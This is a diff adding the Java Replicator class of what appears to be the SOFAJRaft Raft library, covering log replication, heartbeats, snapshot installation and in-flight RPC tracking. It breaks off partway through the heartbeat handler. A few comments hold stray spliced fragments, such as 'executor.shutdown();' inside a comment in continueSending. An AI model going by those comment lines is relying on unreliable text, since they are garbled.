+import java.util.concurrent.TimeUnit;
+
+import javax.annotation.concurrent.ThreadSafe;
+
+import org.slf4j.Logger;
+import org.slf4j.LoggerFactory;
+
+import com.alipay.sofa.jraft.Status;
+import com.alipay.sofa.jraft.closure.CatchUpClosure;
+import com.alipay.sofa.jraft.entity.EnumOutter;
+import com.alipay.sofa.jraft.entity.LogEntry;
+import com.alipay.sofa.jraft.entity.PeerId;
+import com.alipay.sofa.jraft.entity.RaftOutter;
+import com.alipay.sofa.jraft.error.RaftError;
+import com.alipay.sofa.jraft.error.RaftException;
+import com.alipay.sofa.jraft.option.RaftOptions;
+import com.alipay.sofa.jraft.option.ReplicatorOptions;
+import com.alipay.sofa.jraft.rpc.RaftClientService;
+import com.alipay.sofa.jraft.rpc.RpcRequests.AppendEntriesRequest;
+import com.alipay.sofa.jraft.rpc.RpcRequests.AppendEntriesResponse;
+import com.alipay.sofa.jraft.rpc.RpcRequests.InstallSnapshotRequest;
+import com.alipay.sofa.jraft.rpc.RpcRequests.InstallSnapshotResponse;
+import com.alipay.sofa.jraft.rpc.RpcRequests.TimeoutNowRequest;
+import com.alipay.sofa.jraft.rpc.RpcRequests.TimeoutNowResponse;
+import com.alipay.sofa.jraft.rpc.RpcResponseClosure;
+import com.alipay.sofa.jraft.rpc.RpcResponseClosureAdapter;
+import com.alipay.sofa.jraft.storage.snapshot.SnapshotReader;
+import com.alipay.sofa.jraft.util.ByteBufferCollector;
+import com.alipay.sofa.jraft.util.OnlyForTest;
+import com.alipay.sofa.jraft.util.Recyclable;
+import com.alipay.sofa.jraft.util.RecyclableByteBufferList;
+import com.alipay.sofa.jraft.util.RecycleUtil;
+import com.alipay.sofa.jraft.util.Requires;
+import com.alipay.sofa.jraft.util.ThreadId;
+import com.alipay.sofa.jraft.util.Utils;
+import com.codahale.metrics.Gauge;
+import com.codahale.metrics.Metric;
+import com.codahale.metrics.MetricRegistry;
+import com.codahale.metrics.MetricSet;
+import com.google.protobuf.Message;
+import com.google.protobuf.ZeroByteStringHelper;
+
+/**
+ * Replicator for replicating log entry from leader to followers.
+ * @author boyan (boyan@alibaba-inc.com)
+ *
+ * 2018-Apr-04 10:32:02 AM
+ */
+@ThreadSafe
+public class Replicator implements ThreadId.OnError {
+
+    private static final Logger              LOG                    = LoggerFactory.getLogger(Replicator.class);
+
+    private final RaftClientService          rpcService;
+    // Next sending log index
+    private volatile long                    nextIndex;
+    private int                              consecutiveErrorTimes  = 0;
+    private boolean                          hasSucceeded;
+    private long                             timeoutNowIndex;
+    private volatile long                    lastRpcSendTimestamp;
+    private volatile long                    heartbeatCounter       = 0;
+    private volatile long                    appendEntriesCounter   = 0;
+    private volatile long                    installSnapshotCounter = 0;
+    protected Stat                           statInfo               = new Stat();
+    private ScheduledFuture<?>               blockTimer;
+
+    // Cached the latest RPC in-flight request.
+    private Inflight                         rpcInFly;
+    // Heartbeat RPC future
+    private Future<Message>                  heartbeatInFly;
+    // Timeout request RPC future
+    private Future<Message>                  timeoutNowInFly;
+    // In-flight RPC requests, FIFO queue
+    private final ArrayDeque<Inflight>       inflights              = new ArrayDeque<>();
+
+    private long                             waitId                 = -1L;
+    protected ThreadId                       id;
+    private final ReplicatorOptions          options;
+    private final RaftOptions                raftOptions;
+
+    private ScheduledFuture<?>               heartbeatTimer;
+    private volatile SnapshotReader          reader;
+    private CatchUpClosure                   catchUpClosure;
+    private final TimerManager               timerManager;
+    private final NodeMetrics                nodeMetrics;
+    private volatile State                   state;
+
+    // Request sequence
+    private int                              reqSeq                 = 0;
+    // Response sequence
+    private int                              requiredNextSeq        = 0;
+    // Replicator state reset version
+    private int                              version                = 0;
+
+    // Pending response queue;
+    private final PriorityQueue<RpcResponse> pendingResponses       = new PriorityQueue<>(50);
+
+    private int getAndIncrementReqSeq() {
+        final int prev = this.reqSeq;
+        this.reqSeq++;
+        if (this.reqSeq < 0) {
+            this.reqSeq = 0;
+        }
+        return prev;
+    }
+
+    private int getAndIncrementRequiredNextSeq() {
+        final int prev = this.requiredNextSeq;
+        this.requiredNextSeq++;
+        if (this.requiredNextSeq < 0) {
+            this.requiredNextSeq = 0;
+        }
+        return prev;
+    }
+
+    /**
+     * Replicator state
+     * @author dennis
+     *
+     */
+    public enum State {
+        Probe, // probe follower state
+        Snapshot, // installing snapshot to follower
+        Replicate, // replicate logs normally
+        Destroyed // destroyed
+    }
+
+    public Replicator(final ReplicatorOptions replicatorOptions, final RaftOptions raftOptions) {
+        super();
+        this.options = replicatorOptions;
+        this.nodeMetrics = this.options.getNode().getNodeMetrics();
+        this.nextIndex = this.options.getLogManager().getLastLogIndex() + 1;
+        this.timerManager = replicatorOptions.getTimerManager();
+        this.raftOptions = raftOptions;
+        this.rpcService = replicatorOptions.getRaftRpcService();
+    }
+
+    /**
+     * Replicator metric set.
+     * @author dennis
+     *
+     */
+    private static final class ReplicatorMetricSet implements MetricSet {
+        private final ReplicatorOptions opts;
+        private final Replicator        r;
+
+        private ReplicatorMetricSet(final ReplicatorOptions opts, final Replicator r) {
+            this.opts = opts;
+            this.r = r;
+        }
+
+        @Override
+        public Map<String, Metric> getMetrics() {
+            final Map<String, Metric> gauges = new HashMap<>();
+            gauges.put("log-lags",
+                (Gauge<Long>) () -> this.opts.getLogManager().getLastLogIndex() - (this.r.nextIndex - 1));
+            gauges.put("next-index", (Gauge<Long>) () -> this.r.nextIndex);
+            gauges.put("heartbeat-times", (Gauge<Long>) () -> this.r.heartbeatCounter);
+            gauges.put("install-snapshot-times", (Gauge<Long>) () -> this.r.installSnapshotCounter);
+            gauges.put("append-entries-times", (Gauge<Long>) () -> this.r.appendEntriesCounter);
+            return gauges;
+        }
+    }
+
+    /**
+     * Internal state
+     * @author boyan (boyan@alibaba-inc.com)
+     *
+     * 2018-Apr-04 10:38:45 AM
+     */
+    enum RunningState {
+        IDLE, // idle
+        BLOCKING, // blocking state
+        APPENDING_ENTRIES, // appending log entries
+        INSTALLING_SNAPSHOT // installing snapshot
+    }
+
+    /**
+     * Statistics structure
+     * @author boyan (boyan@alibaba-inc.com)
+     *
+     * 2018-Apr-04 10:38:53 AM
+     */
+    static class Stat {
+        RunningState runningState;
+        long         firstLogIndex;
+        long         lastLogIncluded;
+        long         lastLogIndex;
+        long         lastTermIncluded;
+
+        @Override
+        public String toString() {
+            return "<running=" + this.runningState + ", firstLogIndex=" + this.firstLogIndex + ", lastLogIncluded="
+                   + this.lastLogIncluded + ", lastLogIndex=" + this.lastLogIndex + ", lastTermIncluded="
+                   + this.lastTermIncluded + ">";
+        }
+
+    }
+
+    // In-flight request type
+    enum RequestType {
+        Snapshot, // install snapshot
+        AppendEntries // replicate logs
+    }
+
+    /**
+     * In-flight request.
+     * @author dennis
+     *
+     */
+    static class Inflight {
+        // In-flight request count
+        final int             count;
+        // Start log index
+        final long            startIndex;
+        // Entries size in bytes
+        final int             size;
+        // RPC future
+        final Future<Message> rpcFuture;
+        final RequestType     requestType;
+        // Request sequence.
+        final int             seq;
+
+        public Inflight(final RequestType requestType, final long startIndex, final int count, final int size,
+                        final int seq, final Future<Message> rpcFuture) {
+            super();
+            this.seq = seq;
+            this.requestType = requestType;
+            this.count = count;
+            this.startIndex = startIndex;
+            this.size = size;
+            this.rpcFuture = rpcFuture;
+        }
+
+        @Override
+        public String toString() {
+            return "Inflight [count=" + this.count + ", startIndex=" + this.startIndex + ", size=" + this.size
+                   + ", rpcFuture=" + this.rpcFuture + ", requestType=" + this.requestType + ", seq=" + this.seq + "]";
+        }
+
+        boolean isSendingLogEntries() {
+            return this.requestType == RequestType.AppendEntries && this.count > 0;
+        }
+    }
+
+    /**
+     * RPC response for AppendEntries/InstallSnapshot.
+     * @author dennis
+     *
+     */
+    static class RpcResponse implements Comparable<RpcResponse> {
+        final Status      status;
+        final Message     request;
+        final Message     response;
+        final long        rpcSendTime;
+        final int         seq;
+        final RequestType requestType;
+
+        public RpcResponse(final RequestType reqType, final int seq, final Status status, final Message request,
+                           final Message response, final long rpcSendTime) {
+            super();
+            this.requestType = reqType;
+            this.seq = seq;
+            this.status = status;
+            this.request = request;
+            this.response = response;
+            this.rpcSendTime = rpcSendTime;
+        }
+
+        @Override
+        public String toString() {
+            return "RpcResponse [status=" + this.status + ", request=" + this.request + ", response=" + this.response
+                   + ", rpcSendTime=" + this.rpcSendTime + ", seq=" + this.seq + ", requestType=" + this.requestType
+                   + "]";
+        }
+
+        /**
+         * Sort by sequence.
+         */
+        @Override
+        public int compareTo(final RpcResponse o) {
+            return Integer.compare(this.seq, o.seq);
+        }
+    }
+
+    @OnlyForTest
+    ArrayDeque<Inflight> getInflights() {
+        return this.inflights;
+    }
+
+    @OnlyForTest
+    State getState() {
+        return this.state;
+    }
+
+    @OnlyForTest
+    void setState(final State state) {
+        this.state = state;
+    }
+
+    @OnlyForTest
+    int getReqSeq() {
+        return this.reqSeq;
+    }
+
+    @OnlyForTest
+    int getRequiredNextSeq() {
+        return this.requiredNextSeq;
+    }
+
+    @OnlyForTest
+    int getVersion() {
+        return this.version;
+    }
+
+    @OnlyForTest
+    public PriorityQueue<RpcResponse> getPendingResponses() {
+        return this.pendingResponses;
+    }
+
+    @OnlyForTest
+    long getWaitId() {
+        return this.waitId;
+    }
+
+    @OnlyForTest
+    ScheduledFuture<?> getBlockTimer() {
+        return this.blockTimer;
+    }
+
+    @OnlyForTest
+    long getTimeoutNowIndex() {
+        return this.timeoutNowIndex;
+    }
+
+    @OnlyForTest
+    ReplicatorOptions getOpts() {
+        return this.options;
+    }
+
+    @OnlyForTest
+    long getRealNextIndex() {
+        return this.nextIndex;
+    }
+
+    @OnlyForTest
+    Future<Message> getRpcInFly() {
+        if (this.rpcInFly == null) {
+            return null;
+        }
+        return this.rpcInFly.rpcFuture;
+    }
+
+    @OnlyForTest
+    Future<Message> getHeartbeatInFly() {
+        return this.heartbeatInFly;
+    }
+
+    @OnlyForTest
+    ScheduledFuture<?> getHeartbeatTimer() {
+        return this.heartbeatTimer;
+    }
+
+    @OnlyForTest
+    void setHasSucceeded() {
+        this.hasSucceeded = true;
+    }
+
+    @OnlyForTest
+    Future<Message> getTimeoutNowInFly() {
+        return this.timeoutNowInFly;
+    }
+
+    /**
+     * Adds a in-flight request
+     * @param reqType   type of request
+     * @param count     count if request
+     * @param size      size in bytes
+     */
+    private void addInflight(final RequestType reqType, final long startIndex, final int count, final int size,
+                             final int seq, final Future<Message> rpcInfly) {
+        this.rpcInFly = new Inflight(reqType, startIndex, count, size, seq, rpcInfly);
+        this.inflights.add(this.rpcInFly);
+        this.nodeMetrics.recordSize("replicate-inflights-count", this.inflights.size());
+    }
+
+    /**
+     * Returns the next in-flight sending index, return -1 when can't send more in-flight requests.
+     *
+     * @return next in-flight sending index
+     */
+    long getNextSendIndex() {
+        // Fast path
+        if (this.inflights.isEmpty()) {
+            return this.nextIndex;
+        }
+        // Too many in-flight requests.
+        if (this.inflights.size() > this.raftOptions.getMaxReplicatorInflightMsgs()) {
+            return -1L;
+        }
+        // Last request should be a AppendEntries request and has some entries.
+        if (this.rpcInFly != null && this.rpcInFly.isSendingLogEntries()) {
+            return this.rpcInFly.startIndex + this.rpcInFly.count;
+        }
+        return -1L;
+    }
+
+    private Inflight pollInflight() {
+        return this.inflights.poll();
+    }
+
+    private void startHeartbeatTimer(final long startMs) {
+        final long dueTime = startMs + this.options.getDynamicHeartBeatTimeoutMs();
+        try {
+            this.heartbeatTimer = this.timerManager.schedule(() -> onTimeout(this.id), dueTime - Utils.nowMs(),
+                TimeUnit.MILLISECONDS);
+        } catch (final Exception e) {
+            LOG.error("Fail to schedule heartbeat timer", e);
+            onTimeout(this.id);
+        }
+    }
+
+    void installSnapshot() {
+        if (this.state == State.Snapshot) {
+            LOG.warn("Replicator {} is installing snapshot, ignore the new request.", this.options.getPeerId());
+            this.id.unlock();
+            return;
+        }
+        boolean doUnlock = true;
+        try {
+            Requires.requireTrue(this.reader == null,
+                "Replicator %s already has a snapshot reader, current state is %s", this.options.getPeerId(),
+                this.state);
+            this.reader = this.options.getSnapshotStorage().open();
+            if (this.reader == null) {
+                final NodeImpl node = this.options.getNode();
+                final RaftException error = new RaftException(EnumOutter.ErrorType.ERROR_TYPE_SNAPSHOT);
+                error.setStatus(new Status(RaftError.EIO, "Fail to open snapshot"));
+                this.id.unlock();
+                doUnlock = false;
+                node.onError(error);
+                return;
+            }
+            final String uri = this.reader.generateURIForCopy();
+            if (uri == null) {
+                final NodeImpl node = this.options.getNode();
+                final RaftException error = new RaftException(EnumOutter.ErrorType.ERROR_TYPE_SNAPSHOT);
+                error.setStatus(new Status(RaftError.EIO, "Fail to generate uri for snapshot reader"));
+                releaseReader();
+                this.id.unlock();
+                doUnlock = false;
+                node.onError(error);
+                return;
+            }
+            final RaftOutter.SnapshotMeta meta = this.reader.load();
+            if (meta == null) {
+                final String snapshotPath = this.reader.getPath();
+                final NodeImpl node = this.options.getNode();
+                final RaftException error = new RaftException(EnumOutter.ErrorType.ERROR_TYPE_SNAPSHOT);
+                error.setStatus(new Status(RaftError.EIO, "Fail to load meta from %s", snapshotPath));
+                releaseReader();
+                this.id.unlock();
+                doUnlock = false;
+                node.onError(error);
+                return;
+            }
+            final InstallSnapshotRequest.Builder rb = InstallSnapshotRequest.newBuilder();
+            rb.setTerm(this.options.getTerm());
+            rb.setGroupId(this.options.getGroupId());
+            rb.setServerId(this.options.getServerId().toString());
+            rb.setPeerId(this.options.getPeerId().toString());
+            rb.setMeta(meta);
+            rb.setUri(uri);
+
+            this.statInfo.runningState = RunningState.INSTALLING_SNAPSHOT;
+            this.statInfo.lastLogIncluded = meta.getLastIncludedIndex();
+            this.statInfo.lastTermIncluded = meta.getLastIncludedTerm();
+
+            final InstallSnapshotRequest request = rb.build();
+            this.state = State.Snapshot;
+            // noinspection NonAtomicOperationOnVolatileField
+            this.installSnapshotCounter++;
+            final long monotonicSendTimeMs = Utils.monotonicMs();
+            final int stateVersion = this.version;
+            final int seq = getAndIncrementReqSeq();
+            final Future<Message> rpcFuture = this.rpcService.installSnapshot(this.options.getPeerId().getEndpoint(),
+                request, new RpcResponseClosureAdapter<InstallSnapshotResponse>() {
+
+                    @Override
+                    public void run(final Status status) {
+                        onRpcReturned(Replicator.this.id, RequestType.Snapshot, status, request, getResponse(), seq,
+                            stateVersion, monotonicSendTimeMs);
+                    }
+                });
+            addInflight(RequestType.Snapshot, this.nextIndex, 0, 0, seq, rpcFuture);
+        } finally {
+            if (doUnlock) {
+                this.id.unlock();
+            }
+        }
+    }
+
+    @SuppressWarnings("unused")
+    static boolean onInstallSnapshotReturned(final ThreadId id, final Replicator r, final Status status,
+                                             final InstallSnapshotRequest request,
+                                             final InstallSnapshotResponse response) {
+        boolean success = true;
+        r.releaseReader();
+        // noinspection ConstantConditions
+        do {
+            final StringBuilder sb = new StringBuilder("Node "). //
+                append(r.options.getGroupId()).append(":").append(r.options.getServerId()). //
+                append(" received InstallSnapshotResponse from ").append(r.options.getPeerId()). //
+                append(" lastIncludedIndex=").append(request.getMeta().getLastIncludedIndex()). //
+                append(" lastIncludedTerm=").append(request.getMeta().getLastIncludedTerm());
+            if (!status.isOk()) {
+                sb.append(" error:").append(status);
+                LOG.info(sb.toString());
+                if (++r.consecutiveErrorTimes % 10 == 0) {
+                    LOG.warn("Fail to install snapshot at peer={}, error={}", r.options.getPeerId(), status);
+                }
+                success = false;
+                break;
+            }
+            if (!response.getSuccess()) {
+                sb.append(" success=false");
+                LOG.info(sb.toString());
+                success = false;
+                break;
+            }
+            // success
+            r.nextIndex = request.getMeta().getLastIncludedIndex() + 1;
+            sb.append(" success=true");
+            LOG.info(sb.toString());
+        } while (false);
+        // We don't retry installing the snapshot explicitly.
+        // id is unlock in sendEntries
+        if (!success) {
+            //should reset states
+            r.resetInflights();
+            r.state = State.Probe;
+            r.block(Utils.nowMs(), status.getCode());
+            return false;
+        }
+        r.hasSucceeded = true;
+        r.notifyOnCaughtUp(RaftError.SUCCESS.getNumber(), false);
+        if (r.timeoutNowIndex > 0 && r.timeoutNowIndex < r.nextIndex) {
+            r.sendTimeoutNow(false, false);
+        }
+        // id is unlock in _send_entriesheartbeatCounter
+        r.state = State.Replicate;
+        return true;
+    }
+
+    private void sendEmptyEntries(final boolean isHeartbeat) {
+        sendEmptyEntries(isHeartbeat, null);
+    }
+
+    /**
+     * Send probe or heartbeat request
+     * @param isHeartbeat      if current entries is heartbeat
+     * @param heartBeatClosure heartbeat callback
+     */
+    @SuppressWarnings("NonAtomicOperationOnVolatileField")
+    private void sendEmptyEntries(final boolean isHeartbeat,
+                                  final RpcResponseClosure<AppendEntriesResponse> heartBeatClosure) {
+        final AppendEntriesRequest.Builder rb = AppendEntriesRequest.newBuilder();
+        if (!fillCommonFields(rb, this.nextIndex - 1, isHeartbeat)) {
+            // id is unlock in installSnapshot
+            installSnapshot();
+            if (isHeartbeat && heartBeatClosure != null) {
+                Utils.runClosureInThread(heartBeatClosure, new Status(RaftError.EAGAIN,
+                    "Fail to send heartbeat to peer %s", this.options.getPeerId()));
+            }
+            return;
+        }
+        try {
+            final long monotonicSendTimeMs = Utils.monotonicMs();
+            final AppendEntriesRequest request = rb.build();
+
+            if (isHeartbeat) {
+                // Sending a heartbeat request
+                this.heartbeatCounter++;
+                RpcResponseClosure<AppendEntriesResponse> heartbeatDone;
+                // Prefer passed-in closure.
+                if (heartBeatClosure != null) {
+                    heartbeatDone = heartBeatClosure;
+                } else {
+                    heartbeatDone = new RpcResponseClosureAdapter<AppendEntriesResponse>() {
+
+                        @Override
+                        public void run(final Status status) {
+                            onHeartbeatReturned(Replicator.this.id, status, request, getResponse(), monotonicSendTimeMs);
+                        }
+                    };
+                }
+                this.heartbeatInFly = this.rpcService.appendEntries(this.options.getPeerId().getEndpoint(), request,
+                    this.options.getElectionTimeoutMs() / 2, heartbeatDone);
+            } else {
+                // Sending a probe request.
+                this.statInfo.runningState = RunningState.APPENDING_ENTRIES;
+                this.statInfo.firstLogIndex = this.nextIndex;
+                this.statInfo.lastLogIndex = this.nextIndex - 1;
+                this.appendEntriesCounter++;
+                this.state = State.Probe;
+                final int stateVersion = this.version;
+                final int seq = getAndIncrementReqSeq();
+                final Future<Message> rpcFuture = this.rpcService.appendEntries(this.options.getPeerId().getEndpoint(),
+                    request, -1, new RpcResponseClosureAdapter<AppendEntriesResponse>() {
+
+                        @Override
+                        public void run(final Status status) {
+                            onRpcReturned(Replicator.this.id, RequestType.AppendEntries, status, request,
+                                getResponse(), seq, stateVersion, monotonicSendTimeMs);
+                        }
+
+                    });
+
+                addInflight(RequestType.AppendEntries, this.nextIndex, 0, 0, seq, rpcFuture);
+            }
+            LOG.debug("Node {} send HeartbeatRequest to {} term {} lastCommittedIndex {}", this.options.getNode()
+                .getNodeId(), this.options.getPeerId(), this.options.getTerm(), request.getCommittedIndex());
+        } finally {
+            this.id.unlock();
+        }
+    }
+
+    boolean prepareEntry(final long nextSendingIndex, final int offset, final RaftOutter.EntryMeta.Builder emb,
+                         final RecyclableByteBufferList dateBuffer) {
+        if (dateBuffer.getCapacity() >= this.raftOptions.getMaxBodySize()) {
+            return false;
+        }
+        final long logIndex = nextSendingIndex + offset;
+        final LogEntry entry = this.options.getLogManager().getEntry(logIndex);
+        if (entry == null) {
+            return false;
+        }
+        emb.setTerm(entry.getId().getTerm());
+        if (entry.hasChecksum()) {
+            emb.setChecksum(entry.getChecksum()); //since 1.2.6
+        }
+        emb.setType(entry.getType());
+        if (entry.getPeers() != null) {
+            Requires.requireTrue(!entry.getPeers().isEmpty(), "Empty peers at logIndex=%d", logIndex);
+            for (final PeerId peer : entry.getPeers()) {
+                emb.addPeers(peer.toString());
+            }
+            if (entry.getOldPeers() != null) {
+                for (final PeerId peer : entry.getOldPeers()) {
+                    emb.addOldPeers(peer.toString());
+                }
+            }
+        } else {
+            Requires.requireTrue(entry.getType() != EnumOutter.EntryType.ENTRY_TYPE_CONFIGURATION,
+                "Empty peers but is ENTRY_TYPE_CONFIGURATION type at logIndex=%d", logIndex);
+        }
+        final int remaining = entry.getData() != null ? entry.getData().remaining() : 0;
+        emb.setDataLen(remaining);
+        if (entry.getData() != null) {
+            // should slice entry data
+            dateBuffer.add(entry.getData().slice());
+        }
+        return true;
+    }
+
+    public static ThreadId start(final ReplicatorOptions opts, final RaftOptions raftOptions) {
+        if (opts.getLogManager() == null || opts.getBallotBox() == null || opts.getNode() == null) {
+            throw new IllegalArgumentException("Invalid ReplicatorOptions.");
+        }
+        final Replicator r = new Replicator(opts, raftOptions);
+        if (!r.rpcService.connect(opts.getPeerId().getEndpoint())) {
+            LOG.error("Fail to init sending channel to {}", opts.getPeerId());
+            // Return and it will be retried later.
+            return null;
+        }
+
+        // Register replicator metric set.
+        final MetricRegistry metricRegistry = opts.getNode().getNodeMetrics().getMetricRegistry();
+        if (metricRegistry != null) {
+            try {
+                final String replicatorMetricName = getReplicatorMetricName(opts);
+                if (!metricRegistry.getNames().contains(replicatorMetricName)) {
+                    metricRegistry.register(replicatorMetricName, new ReplicatorMetricSet(opts, r));
+                }
+            } catch (final IllegalArgumentException e) {
+                // ignore
+            }
+        }
+
+        // Start replication
+        r.id = new ThreadId(r, r);
+        r.id.lock();
+        LOG.info("Replicator={}@{} is started", r.id, r.options.getPeerId());
+        r.catchUpClosure = null;
+        r.lastRpcSendTimestamp = Utils.monotonicMs();
+        r.startHeartbeatTimer(Utils.nowMs());
+        // id.unlock in sendEmptyEntries
+        r.sendEmptyEntries(false);
+        return r.id;
+    }
+
+    private static String getReplicatorMetricName(final ReplicatorOptions opts) {
+        return "replicator-" + opts.getNode().getGroupId() + "/" + opts.getPeerId();
+    }
+
+    public static void waitForCaughtUp(final ThreadId id, final long maxMargin, final long dueTime,
+                                       final CatchUpClosure done) {
+        final Replicator r = (Replicator) id.lock();
+
+        if (r == null) {
+            Utils.runClosureInThread(done, new Status(RaftError.EINVAL, "No such replicator"));
+            return;
+        }
+        try {
+            if (r.catchUpClosure != null) {
+                LOG.error("Previous wait_for_caught_up is not over");
+                Utils.runClosureInThread(done, new Status(RaftError.EINVAL, "Duplicated call"));
+                return;
+            }
+            done.setMaxMargin(maxMargin);
+            if (dueTime > 0) {
+                done.setTimer(r.timerManager.schedule(() -> onCatchUpTimedOut(id), dueTime - Utils.nowMs(),
+                    TimeUnit.MILLISECONDS));
+            }
+            r.catchUpClosure = done;
+        } finally {
+            id.unlock();
+        }
+    }
+
+    @Override
+    public String toString() {
+        return "Replicator [state=" + this.state + ", statInfo=" + this.statInfo + ",peerId="
+               + this.options.getPeerId() + "]";
+    }
+
+    static void onBlockTimeoutInNewThread(final ThreadId id) {
+        if (id != null) {
+            continueSending(id, RaftError.ETIMEDOUT.getNumber());
+        }
+    }
+
+    /**
+     * Unblock and continue sending right now.
+     */
+    static void unBlockAndSendNow(final ThreadId id) {
+        if (id == null) {
+            // It was destroyed already
+            return;
+        }
+        final Replicator r = (Replicator) id.lock();
+        if (r == null) {
+            return;
+        }
+        try {
+            if (r.blockTimer != null) {
+                if (r.blockTimer.cancel(true)) {
+                    onBlockTimeout(id);
+                }
+            }
+        } finally {
+            id.unlock();
+        }
+    }
+
+    static boolean continueSending(final ThreadId id, final int errCode) {
+        if (id == null) {
+            //It was destroyed already
+            return true;
+        }
+        final Replicator r = (Replicator) id.lock();
+        if (r == null) {
+            return false;
+        }
+        r.waitId = -1;
+        if (errCode == RaftError.ETIMEDOUT.getNumber()) {
+            // Send empty entries after block timeout to check the correct
+            // _next_index otherwise the replicator is likely waits in            executor.shutdown();
+            // _wait_more_entries and no further logs would be replicated even if the
+            // last_index of this followers is less than |next_index - 1|
+            r.sendEmptyEntries(false);
+        } else if (errCode != RaftError.ESTOP.getNumber()) {
+            // id is unlock in _send_entries
+            r.sendEntries();
+        } else {
+            LOG.warn("Replicator {} stops sending entries.", id);
+            id.unlock();
+        }
+        return true;
+    }
+
+    static void onBlockTimeout(final ThreadId arg) {
+        Utils.runInThread(() -> onBlockTimeoutInNewThread(arg));
+    }
+
+    void block(final long startTimeMs, @SuppressWarnings("unused") final int errorCode) {
+        // TODO: Currently we don't care about error_code which indicates why the
+        // very RPC fails. To make it better there should be different timeout for
+        // each individual error (e.g. we don't need check every
+        // heartbeat_timeout_ms whether a dead follower has come back), but it's just
+        // fine now.
+        final long dueTime = startTimeMs + this.options.getDynamicHeartBeatTimeoutMs();
+        try {
+            LOG.debug("Blocking {} for {} ms", this.options.getPeerId(), this.options.getDynamicHeartBeatTimeoutMs());
+            this.blockTimer = this.timerManager.schedule(() -> onBlockTimeout(this.id), dueTime - Utils.nowMs(),
+                TimeUnit.MILLISECONDS);
+            this.statInfo.runningState = RunningState.BLOCKING;
+            this.id.unlock();
+        } catch (final Exception e) {
+            LOG.error("Fail to add timer", e);
+            // id unlock in sendEmptyEntries.
+            sendEmptyEntries(false);
+        }
+    }
+
+    @Override
+    public void onError(final ThreadId id, final Object data, final int errorCode) {
+        final Replicator r = (Replicator) data;
+        if (errorCode == RaftError.ESTOP.getNumber()) {
+            try {
+                for (final Inflight inflight : r.inflights) {
+                    if (inflight != r.rpcInFly) {
+                        inflight.rpcFuture.cancel(true);
+                    }
+                }
+                if (r.rpcInFly != null) {
+                    r.rpcInFly.rpcFuture.cancel(true);
+                    r.rpcInFly = null;
+                }
+                if (r.heartbeatInFly != null) {
+                    r.heartbeatInFly.cancel(true);
+                    r.heartbeatInFly = null;
+                }
+                if (r.timeoutNowInFly != null) {
+                    r.timeoutNowInFly.cancel(true);
+                    r.timeoutNowInFly = null;
+                }
+                if (r.heartbeatTimer != null) {
+                    r.heartbeatTimer.cancel(true);
+                    r.heartbeatTimer = null;
+                }
+                if (r.blockTimer != null) {
+                    r.blockTimer.cancel(true);
+                    r.blockTimer = null;
+                }
+                if (r.waitId >= 0) {
+                    r.options.getLogManager().removeWaiter(r.waitId);
+                }
+                r.notifyOnCaughtUp(errorCode, true);
+            } finally {
+                r.destroy();
+            }
+        } else if (errorCode == RaftError.ETIMEDOUT.getNumber()) {
+            id.unlock();
+            Utils.runInThread(() -> sendHeartbeat(id));
+        } else {
+            id.unlock();
+            // noinspection ConstantConditions
+            Requires.requireTrue(false, "Unknown error code for replicator: " + errorCode);
+        }
+    }
+
+    private static void onCatchUpTimedOut(final ThreadId id) {
+        final Replicator r = (Replicator) id.lock();
+        if (r == null) {
+            return;
+        }
+        try {
+            r.notifyOnCaughtUp(RaftError.ETIMEDOUT.getNumber(), false);
+        } finally {
+            id.unlock();
+        }
+    }
+
+    private void notifyOnCaughtUp(final int code, final boolean beforeDestroy) {
+        if (this.catchUpClosure == null) {
+            return;
+        }
+        if (code != RaftError.ETIMEDOUT.getNumber()) {
+            if (this.nextIndex - 1 + this.catchUpClosure.getMaxMargin() < this.options.getLogManager()
+                .getLastLogIndex()) {
+                return;
+            }
+            if (this.catchUpClosure.isErrorWasSet()) {
+                return;
+            }
+            this.catchUpClosure.setErrorWasSet(true);
+            if (code != RaftError.SUCCESS.getNumber()) {
+                this.catchUpClosure.getStatus().setError(code, RaftError.describeCode(code));
+            }
+            if (this.catchUpClosure.hasTimer()) {
+                if (!beforeDestroy && !this.catchUpClosure.getTimer().cancel(true)) {
+                    // There's running timer task, let timer task trigger
+                    // on_caught_up to void ABA problem
+                    return;
+                }
+            }
+        } else {
+            // timed out
+            if (!this.catchUpClosure.isErrorWasSet()) {
+                this.catchUpClosure.getStatus().setError(code, RaftError.describeCode(code));
+            }
+        }
+        final CatchUpClosure savedClosure = this.catchUpClosure;
+        this.catchUpClosure = null;
+        Utils.runClosureInThread(savedClosure, savedClosure.getStatus());
+    }
+
+    private static void onTimeout(final ThreadId id) {
+        if (id != null) {
+            id.setError(RaftError.ETIMEDOUT.getNumber());
+        } else {
+            LOG.warn("Replicator id is null when timeout, maybe it's destroyed.");
+        }
+    }
+
+    void destroy() {
+        final ThreadId savedId = this.id;
+        LOG.info("Replicator {} is going to quit", savedId);
+        this.id = null;
+        releaseReader();
+        // Unregister replicator metric set
+        if (this.options.getNode().getNodeMetrics().isEnabled()) {
+            this.options.getNode().getNodeMetrics().getMetricRegistry().remove(getReplicatorMetricName(this.options));
+        }
+        this.state = State.Destroyed;
+        savedId.unlockAndDestroy();
+    }
+
+    private void releaseReader() {
+        if (this.reader != null) {
+            Utils.closeQuietly(this.reader);
+            this.reader = null;
+        }
+    }
+
+    static void onHeartbeatReturned(final ThreadId id, final Status status, final AppendEntriesRequest request,
+                                    final AppendEntriesResponse response, final long rpcSendTime) {
+        if (id == null) {
+            // replicator already was destroyed.
+            return;
+        }
+        final long startTimeMs = Utils.nowMs();
+        Replicator r;
+        if ((r = (Replicator) id.lock()) == null) {
+            return;
+        }
+        boolean doUnlock = true;
+        try {
+            final boolean isLogDebugEnabled = LOG.isDebugEnabled();
+            StringBuilder sb = null;
+            if (isLogDebugEnabled) {
+                sb = new StringBuilder("Node "). //
+                    append(r.options.getGroupId()).append(":").append(r.options.getServerId()). //
+                    append(" received HeartbeatResponse from "). //
+                    append(r.options.getPeerId()). //
+                    append(" prevLogIndex=").append(request.getPrevLogIndex()). //
+                    append(" prevLogTerm=").append(request.getPrevLogTerm());
+            }
+            if (!status.isOk()) {
+                if (isLogDebugEnabled) {
+                    sb.append(" fail, sleep.");
+                    LOG.debug(sb.toString());
+                }
+                r.state = State.Probe;
+                if (++r.consecutiveErrorTimes % 10 == 0) {
+                    LOG.warn("Fail to issue RPC to {}, consecutiveErrorTimes={}, error={}", r.options.getPeerId(),
+                        r.consecutiveErrorTimes, status);
+                }
+                r.startHeartbeatTimer(startTimeMs);
+                return;
+            }
+            r.consecutiveErrorTimes = 0;
+            if (response.getTerm() > r.options.getTerm()) {
+                if (isLogDebugEnabled) {
